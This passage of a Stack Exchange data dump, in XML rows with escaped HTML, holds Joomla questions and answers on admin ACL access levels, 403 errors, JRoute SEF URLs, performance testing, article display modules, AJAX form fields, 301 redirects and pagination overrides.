in with John's username and password, I get this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oZOtT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZOtT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a blank page, only having the header that is in the administration panel usually, and all I can do is edit John's account details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only one extension installed: BreezingForms Lite (&lt;a href=&quot;http://extensions.joomla.org/extension/breezingforms-lite&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extension/breezingforms-lite&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The administration panel works &lt;strong&gt;fine&lt;/strong&gt; with the user I set up during Joomla installation. But it does not work for John, even when I tried giving the account Superuser permissions. It's always just a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the error reporting to 'maximum' in &lt;code&gt;configuration.php&lt;/code&gt; but I'm not getting any errors, not even in the web server error log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, thanks!&lt;/p&gt;&#xA;" OwnerUserId="8275" LastEditorUserId="126" LastEditDate="2016-04-26T07:56:16.233" LastActivityDate="2016-04-26T07:56:16.233" Title="Getting a blank page after logging into administration on non-SU account" Tags="|joomla-3.x|administrator|acl|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16220" PostTypeId="2" ParentId="16219" CreationDate="2016-04-19T21:54:46.523" Score="3" Body="&lt;p&gt;Obviously it is something wrong with your ACL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually it's hard to give a reply with the actual solution in such questions with the first try, as ACL needs a hands-on investigation, or otherwise the complete ACL configuration, in order for someone to try to understand or replicate an issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in your case, I would guess that you haven't added &lt;strong&gt;Viewing Access Level&lt;/strong&gt; for your new usergroup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have create it as child under the Registered Usergroup, then it won't inherit the Special Viewing Access Level, so users of that group can't have viewing access on elements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, go in &lt;strong&gt;Users -&gt; Access Levels&lt;/strong&gt; - and make sure you check the &lt;strong&gt;Special&lt;/strong&gt; level for your usergroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Also note, that it is recommended to logout/re-login users, after making changes on the ACL.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-20T20:38:14.680" LastActivityDate="2016-04-20T20:38:14.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16221" PostTypeId="2" ParentId="16218" CreationDate="2016-04-19T22:10:17.540" Score="1" Body="&lt;p&gt;Those 403 are on pages you are browsing, or for assets like css, js, images files etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;403 error means, that access is forbidden for the requested file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you moved your site:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your htaccess file for any possible required modifications, to match your site's new location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Those 403 errors, can be on requests for external to your joomla site files, that you didn't move, and now they can't be found. This with a combination of directives in your htaccess/server could result to 403 error instead of 404.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are my quickest ideas for now... &#xA;It could help us more, if you could share urls and urls for forbidden pages/files, and parts of your htaccess with info pertaining to your hosting location.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-04-19T22:10:17.540" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16222" PostTypeId="2" ParentId="16217" CreationDate="2016-04-19T22:24:35.630" Score="2" Body="&lt;p&gt;If you want to use external images for intro or full article image, then you can just paste the image's url in that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if you want to use external image inside your article body, you can use the insert/edit image button of the editor and paste the url of the image in the image source field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, although possible, it's not a recommended practice to use external images, unless the other site is yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you don't have control over those images, which can be deleted, changed anytime.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The owner of the other site can also restrict access to his files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not that ethical, as you are using resources and bandwidth of others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are creating many outgoing links to all other sites, which is bad for seo for your site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-20T10:54:50.190" LastActivityDate="2016-04-20T10:54:50.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16223" PostTypeId="1" AcceptedAnswerId="16232" CreationDate="2016-04-20T03:23:37.590" Score="2" ViewCount="7530" Body="&lt;p&gt;I'm trying to figure out why I can't get a correct absolute SEF url with &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JRoute.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JRoute&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried with this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(JUri::root().'index.php?Itemid=164')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but it won't correctly SEF render it, it will just print like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/index.php?Itemid=164` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I remove the &lt;code&gt;JUri::root()&lt;/code&gt; part it will render correctly, but as a relative url ofc.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestion? What am I doing wrong? Am I misunderstanding from the docs&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;_(string $url, boolean $xhtml = true, integer $ssl = null) : string&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Arguments&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$url&lt;/code&gt;: Absolute or Relative URI to Joomla resource.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2021-09-02T10:31:27.080" Title="Absolute SEF url with JRoute" Tags="|url|sef|jroute|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16225" PostTypeId="2" ParentId="13650" CreationDate="2016-04-20T06:16:23.057" Score="0" Body="&lt;p&gt;The Joomla debug feature will give you a lot of information &#xA;about the queries that are executed when your website loads.&lt;/p&gt;&#xA;" OwnerUserId="8240" LastEditorUserId="3585" LastEditDate="2016-04-20T09:15:15.357" LastActivityDate="2016-04-20T09:15:15.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16226" PostTypeId="1" CreationDate="2016-04-20T06:27:39.687" Score="2" ViewCount="65" Body="&lt;p&gt;After searching a lot over the web, I found nothing about my issue.&#xA;Its there any tool that can test my Joomla website/server performance?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am searching for a tool that test the website how it will react when having a lot of visitors.&#xA;What apache and mysql would do in those cases...&lt;/p&gt;&#xA;" OwnerUserId="8240" LastEditorUserId="7394" LastEditDate="2020-05-14T22:07:13.340" LastActivityDate="2020-05-14T22:07:13.340" Title="How can I test Joomla performace" Tags="|joomla-3.x|mysql|apache|wpo|cms-testing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16227" PostTypeId="2" ParentId="14978" CreationDate="2016-04-20T06:40:21.407" Score="1" Body="&lt;p&gt;There is no Joomla based function for &lt;em&gt;case/when/then&lt;/em&gt; construct, you have to use a simple select with mysql &lt;em&gt;case statements&lt;/em&gt; in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query-&amp;gt;select(&quot;(CASE ...) as final_price&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html&quot; rel=&quot;nofollow&quot;&gt;JDatabaseQuery API&lt;/a&gt; for a complete list of available database Joomla functions.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-20T06:40:21.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16228" PostTypeId="2" ParentId="16226" CreationDate="2016-04-20T06:59:52.567" Score="3" Body="&lt;p&gt;For website performance test you can use some online service like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.webpagetest.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.webpagetest.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tools.pingdom.com/&quot; rel=&quot;nofollow&quot;&gt;http://tools.pingdom.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gtmetrix.com/&quot; rel=&quot;nofollow&quot;&gt;https://gtmetrix.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developers.google.com/speed/pagespeed/insights/&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/speed/pagespeed/insights/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For server/application you can try with one of this posible solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://newrelic.com/php/joomla&quot; rel=&quot;nofollow&quot;&gt;http://newrelic.com/php/joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://loadimpact.com/&quot; rel=&quot;nofollow&quot;&gt;https://loadimpact.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-04-20T06:59:52.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16232" PostTypeId="2" ParentId="16223" CreationDate="2016-04-20T11:30:25.697" Score="2" Body="&lt;p&gt;You could try this way: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemid = 164;&#xA;$application = JFactory::getApplication();&#xA;$menu = $application-&amp;gt;getMenu();&#xA;$item = $menu-&amp;gt;getItem( $itemid );&#xA;$link = new JURI( $item-&amp;gt;link );&#xA;$link-&amp;gt;setVar( 'ItemId', $itemid );&#xA;&#xA;echo JRoute::_( $quoteLink, true, -1 ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;From JRoute documentation:&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Routing URLs**&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;JRoute::_&lt;/code&gt;&lt;/strong&gt; method translates the internal Joomla! URL to a custom URL. &lt;strong&gt;&lt;code&gt;JRoute::_&lt;/code&gt;&lt;/strong&gt; has three parameters and its prototype is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;JRoute::_($url, $xhtml = true, $ssl = null);&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Where:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$url&lt;/strong&gt; is a string containing the absolute or relative internal Joomla! URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$xhtml&lt;/strong&gt; is a boolean value that specifies whether or not the output should be in XHTML. This parameter is optional and if omitted defaults to true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$ssl&lt;/strong&gt; is an integer value that specifies whether the URI should be secure. It should be set to 1 to force the URI to be secure using the global secure site URI, 0 to leave it in the same state as when it was passed, and -1 to force the URI to be unsecure using the global unsecure site URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not obvious from this documentation, but using &lt;code&gt;**$ssl = -1**&lt;/code&gt; will force an insecure URI, something like &lt;a href=&quot;http://joomlasite.com&quot; rel=&quot;nofollow&quot;&gt;http://joomlasite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update for your comment:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another option could be the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JUri::root() . trim( JRoute::_( $quoteLink ), '/' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A little «hacky», but it does the work... ;)&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-24T09:58:45.600" LastActivityDate="2016-04-24T09:58:45.600" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16234" PostTypeId="1" AcceptedAnswerId="16235" CreationDate="2016-04-20T13:59:41.667" Score="2" ViewCount="212" Body="&lt;p&gt;I have a general question. I want to show for instance four articles ( or ten, the number doesn't matter just so much as I want ) that are in a category &quot;articles&quot;. So the problem is that in the category &quot;articles&quot; are more then just four articles but I just want to show four and not all. For instance a preview site where just the newest or the four selected articles are shown and for the other articles I have to click a readmore button where only then ALL articles are listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about a sub category but that wouldn't solve the problem I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate every help and comment! &lt;/p&gt;&#xA;" OwnerUserId="8050" LastEditorUserId="126" LastEditDate="2016-04-26T07:54:02.970" LastActivityDate="2016-04-26T07:54:02.970" Title="Menu Item - Show only a few articles" Tags="|joomla-3.x|articles|com-content|layout|category-blog|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16235" PostTypeId="2" ParentId="16234" CreationDate="2016-04-20T16:08:39.167" Score="2" Body="&lt;p&gt;You can use the featured articles system represented with a star in content manager and use a &lt;strong&gt;&quot;Featured Articles&quot;&lt;/strong&gt; menu item type to show only the specific articles that you have marked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use a link to another item menu with the complete list of articles in that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Latest articles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show only latest articles you have lot of solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blog layout&lt;/strong&gt; item type, under &quot;Blog layout&quot; tab you can customize number of articles, ordering, pagination, etc..&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Articles - Latest&lt;/strong&gt; module that is exactly used to show most recently published articles&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Articles - Category&lt;/strong&gt; module, to display a list of articles from one or more categories&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Articles - Newsflash&lt;/strong&gt; module, to display a fixed number of articles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In all of this tools you have a lot of customizable options to reach your needs. Anyway to provide a link to a complete list of articles I think you have to override the view adding a link to another item menu or create a Custom module with that link. &lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="3585" LastEditDate="2016-04-21T06:42:32.077" LastActivityDate="2016-04-21T06:42:32.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16236" PostTypeId="1" CreationDate="2016-04-20T16:30:30.520" Score="3" ViewCount="730" Body="&lt;p&gt;just need to check if a given string is an URL or something else.&#xA;Can I use something like the following or Jomlla already has something to deal with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = &quot;http://www.my_url.com&quot;;&#xA;if (!filter_var($url, FILTER_VALIDATE_URL) === false) {&#xA;    // is URL&#xA;} else {&#xA;    // not URL&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="8272" LastActivityDate="2018-06-11T00:03:03.067" Title="Check if a string is an URL" Tags="|joomla-3.x|development|validations|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16237" PostTypeId="2" ParentId="16234" CreationDate="2016-04-20T17:08:19.267" Score="1" Body="&lt;p&gt;In addition to Nicola's answer, there can be other ways to achieve what you are after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very common one, is to display articles using a module. &#xA;You could create an article, where you will load that specific module with the &lt;a href=&quot;https://docs.joomla.org/How_do_you_put_a_module_inside_an_article%3F&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;loadposition / loadmodule syntax&lt;/strong&gt;&lt;/a&gt;, and assign this article to a menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then this page will display whatever articles you have selected to be displayed by that module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hundreds of modules with different settings, capabilities and layout options. One of my favorites is a commercial one and is called &lt;strong&gt;&lt;a href=&quot;http://www.raxo.org&quot; rel=&quot;nofollow&quot;&gt;RAXO All-mode PRO&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-21T08:49:19.650" LastActivityDate="2016-04-21T08:49:19.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16238" PostTypeId="1" AcceptedAnswerId="16265" CreationDate="2016-04-20T21:41:47.343" Score="2" ViewCount="306" Body="&lt;p&gt;I'm trying to develop my first component in Joomla 3.x. I'm new to the MVC paradigm and learning the basics of Joomla development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, I'm trying to develop a simple component to add and display addresses. I have an Address model extending JModelItem and an Addresses model extending JModelList. I am using lookup tables for the state and city (based on zipcode). How should I look-up this information so that I'll have access to it everywhere it might be needed? Should I have models for state, city, zipcode and have the controller add those models for use in the view? Should I use helper classes? Should I use JTable and access the information in a different way? I don't know how this would be done in Joomla and the MVC paradigm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any pointers and help that can be given.&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-04-22T08:22:05.853" Title="How to use look-up tables in a custom component?" Tags="|joomla-3.x|component|database|mvc|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16239" PostTypeId="2" ParentId="16236" CreationDate="2016-04-20T22:01:08.567" Score="2" Body="&lt;p&gt;Joomla has no 'url' filter defined, you can check available filters at this url &lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines&quot; rel=&quot;nofollow&quot;&gt;Secure coding guidelines&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can extend JInput class if you want, but I don't think it's worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For permanent override of JInput or JFilterInput, you must write a plugin, here is a example: &lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot; rel=&quot;nofollow&quot;&gt;Override Core Joomla! Classes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-04-20T22:01:08.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16240" PostTypeId="2" ParentId="16236" CreationDate="2016-04-21T00:49:01.977" Score="-1" Body="&lt;p&gt;I solve this needs some time ago with this solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];&#xA;       if (strpos($url,'blog') !== false) {&#xA;          echo '&amp;lt;!-- Abinhas coloridas na Categoria --&amp;gt;';&#xA;       }else{&#xA;          echo '&amp;lt;!-- Abinhas PB na Categoria --&amp;gt;';&#xA;       }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your content was in &quot;module&quot; like custom html, you can try the Advanced Module Pro from &quot;Regular Labs (no numbers)&quot;. You can activate &quot;URL filter&quot;:&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager#tutorial&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/advancedmodulemanager#tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-04-21T00:49:01.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16241" PostTypeId="2" ParentId="13717" CreationDate="2016-04-21T06:34:58.530" Score="2" Body="&lt;p&gt;If you are in controller and have Itemid from component configuration, you can try this simple redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;redirect(JRoute::_('index.php?Itemid=' .JComponentHelper::getParams('com_yourcomponent')-&amp;gt;get('login_itemid')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you have sef it will be used otherwise it will be used a &lt;code&gt;link&lt;/code&gt; url from menu item.&lt;/p&gt;&#xA;" OwnerUserId="5203" LastEditorUserId="8261" LastEditDate="2016-05-23T11:00:08.240" LastActivityDate="2016-05-23T11:00:08.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16242" PostTypeId="1" CreationDate="2016-04-21T07:41:27.667" Score="1" ViewCount="857" Body="&lt;p&gt;I would like to extend my component with some interaction. For this purpose I try to show fields in a form only if necessary. This works fine with &lt;code&gt;showon&lt;/code&gt;-declarations in my &lt;code&gt;form.xml&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to show a field only if an &lt;code&gt;AJAX&lt;/code&gt;-call, which is triggered on button-click, returns &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could hard-code this in my layout-file (at least I think I could). But maybe there is a way I to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hide the element, which is declared in my &lt;code&gt;form.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;unhide this element if AJAX-call is returning &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use the unhidden element in the &lt;code&gt;form.xml&lt;/code&gt; as indicator for other elements like &lt;code&gt;showon = 'myhiddenfield:1'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas about that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-04-21T09:52:28.657" Title="Show Form Field if AJAX-response is false" Tags="|jquery|jform|ajax|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16244" PostTypeId="2" ParentId="16242" CreationDate="2016-04-21T08:50:10.247" Score="2" Body="&lt;p&gt;Well you could attach your hide/show functions within the success parameter of the ajax method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var showMethod = function () {&#xA;    // show method code...&#xA;}&#xA;&#xA;var hideMethod = function () {&#xA;    // hide method code...&#xA;}&#xA;&#xA;$.ajax({&#xA;    type    : 'POST',&#xA;    data    : request,&#xA;    success : function(response) {&#xA;        if (response.yourvalue == false) {&#xA;            showMethod();&#xA;        } else {&#xA;            hideMethod();&#xA;        }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since it looks like other fields need also to be affected if your main field will be visible or not, you can simply apply the same for all these fields at once, and don't wait to first switch the visibility of your main field to decide if the others should display.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I am bit confused now with what you want... You can't hide something in the xml, only attach certain parameters, that will translate to certain features for each field output. The showon will make a field visible when you have a certain value on another field. So the fields will be hidden till this occur. This is js and css. You can also use the Labelclass to attach specific classes to your fields &lt;a href=&quot;https://docs.joomla.org/Form_field#Common_attributes&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Form_field#Common_attributes&lt;/a&gt;. Generally, behind showing/hiding elements is css anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, I haven't try this but maybe you could simply set the showon parameter in those fields that you want to display, based on the value of your &quot;ajax field&quot; and see if those will appear when you get false. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-21T09:52:28.657" LastActivityDate="2016-04-21T09:52:28.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16245" PostTypeId="1" CreationDate="2016-04-21T10:10:34.770" Score="1" ViewCount="704" Body="&lt;p&gt;I want to redirect all my non SEF url's to new SEF url on my site.But my old site and new site articles have different id's. How can i apply a 301 redirection for old non sef url's to new sef url&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="126" LastEditDate="2016-04-21T11:25:47.167" LastActivityDate="2016-04-26T05:58:25.737" Title="301 redirects for old non-SEF urls to new SEF ones with new article IDs" Tags="|joomla-3.x|sef|redirect|non-sef-url|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16247" PostTypeId="2" ParentId="16245" CreationDate="2016-04-21T11:16:31.660" Score="0" Body="&lt;p&gt;You can redirect links in your .htaccess file. Below the line that starts:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Begin - Custom redirects&lt;/h2&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can start to add your redirects. They look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirect 301 /oldurl &lt;a href=&quot;http://www.example.com/newurl&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/newurl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8225" LastActivityDate="2016-04-21T11:16:31.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16248" PostTypeId="2" ParentId="16245" CreationDate="2016-04-21T11:24:45.723" Score="1" Body="&lt;p&gt;From old non-sef urls to new SEF with new article IDs, sounds a little bit troublesome. Too many changes to track down all at once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be best if you had maintained the old article IDs, or at least made this transition in steps, like first enable SEF urls for your old pages, give it some time, for search engines to update their indexes and then proceed with the next steps, so you would only have to redirect sef urls (if needed). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how to deal with it depends...  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many articles? &lt;/li&gt;&#xA;&lt;li&gt;Are the new articles have higher ids than the old ones, or there is a mix of replacements on ids? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is the core redirect component/plugin, there are extensions like SH404SEF that could help, there is the .htaccess you can use for redirections wherever they could apply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that if you have tons of articles, then it would be too much work to create redirections for all. Also, if there are conflicting ids for the articles, and you redirect an old non-sef url with a certain id, to the new SEF url of another article - how do you plan to deal with the possibility that one of your new articles has the same id as the one you redirected? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to simply let things as they are now, create your 404 pages to inform everyone that pages have been moved, push in Google your new sitemap and soon your new urls will be indexed.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-04-21T11:24:45.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16252" PostTypeId="1" AcceptedAnswerId="16261" CreationDate="2016-04-21T14:39:42.853" Score="2" ViewCount="1641" Body="&lt;p&gt;I want to style the &lt;code&gt;next&lt;/code&gt; and &lt;code&gt;previous buttons&lt;/code&gt; from Joomla! and I already have configured that in my css file, so I've just to add them a class but I don't find the file, where I can override these two buttons. I already looked for the &lt;code&gt;pagination folder&lt;/code&gt; which contains the two files &lt;code&gt;link.php&lt;/code&gt; and &lt;code&gt;links.php&lt;/code&gt; but it seems to be the wrong folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know, in which file these two buttons(links) could hide?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate every help and comment!&lt;/p&gt;&#xA;" OwnerUserId="8050" LastActivityDate="2016-04-21T20:18:22.000" Title="Override: Style next and previous button" Tags="|joomla-3.x|overrides|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
